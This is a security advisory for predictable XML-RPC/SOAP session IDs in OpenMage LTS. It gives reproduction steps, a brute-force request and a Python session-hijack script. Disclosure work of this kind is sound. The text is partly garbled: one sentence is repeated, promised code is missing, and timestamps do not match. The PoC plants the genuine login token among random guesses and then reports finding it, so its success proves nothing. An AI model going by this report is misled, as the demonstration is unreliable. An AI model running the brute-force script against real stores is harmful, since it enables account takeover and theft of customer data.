CVE-2026-42155 — openmage/magento-lts

Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)

Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method

Summary

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

All inputs to the MD5 hash are time-derived and non-secure:

Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.

Technical Analysis

Code Path

POST /api/xmlrpc/ → login(username, apiKey)
  → Mage_Api_Model_Session::login()
      → $session->init('api', 'api')
          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
              # $sessionName is NOT forwarded to start()
              → Mage_Api_Model_Session::start()  ← NO $sessionName argument
                  # $sessionName = null inside start()
                  $this->_currentSessId = md5(time() . uniqid('', true) . null)

Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).

Live Evidence

Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):

Sample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)

The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.

Steps to Reproduce (Online Brute-Force Scenario)

Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.

Step 1 – Record Login Timestamp

An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.

Step 2 – Generate Candidate Pool

The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).

$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants

Step 3 – API Brute-Force (Session Hijack)

Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.

POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
  <methodName>[magento.info](http://magento.info/)</methodName>
  <params>
    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>
  </params>
</methodCall>

A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.

Impact

Technical Impact

Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:

• Full product catalog read/write (catalog_product.*)
• Customer data read (customer.list, customer.info)
• Order manipulation (sales_order.*) Inventory control (cataloginventory_stock_item.*)

Business Impact

• Data Exfiltration: Read all customer PII, order history, and payment methods.
• Order Fraud: Create or cancel orders, change shipping addresses.
• Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.

Affected API Protocols

The same vulnerable Session.php generation logic is shared across all legacy API surfaces:

• XML-RPC: /api/xmlrpc/
• SOAP v1: /api/soap/
• SOAP v2: /api/v2_soap/
• REST (legacy): /api/rest/

Recommended Fix

Replace the time-derived token with a cryptographically secure random value:

// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);

// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output

random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.

I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment

I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):

#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()

if len(sys.argv) < 4:
    sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")

url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)

print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')

if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
    sys.exit("[-] Login failed. Check credentials.")

print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)

print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
    payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
    try: return sid if "faultCode" not in req(payload).text else None
    except: return None

with ThreadPoolExecutor(max_workers=th) as ex:
    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
        sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
        if sid := f.result():
            print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
            ex.shutdown(wait=False, cancel_futures=True)
            break

This is an AI-generated report validated by a human.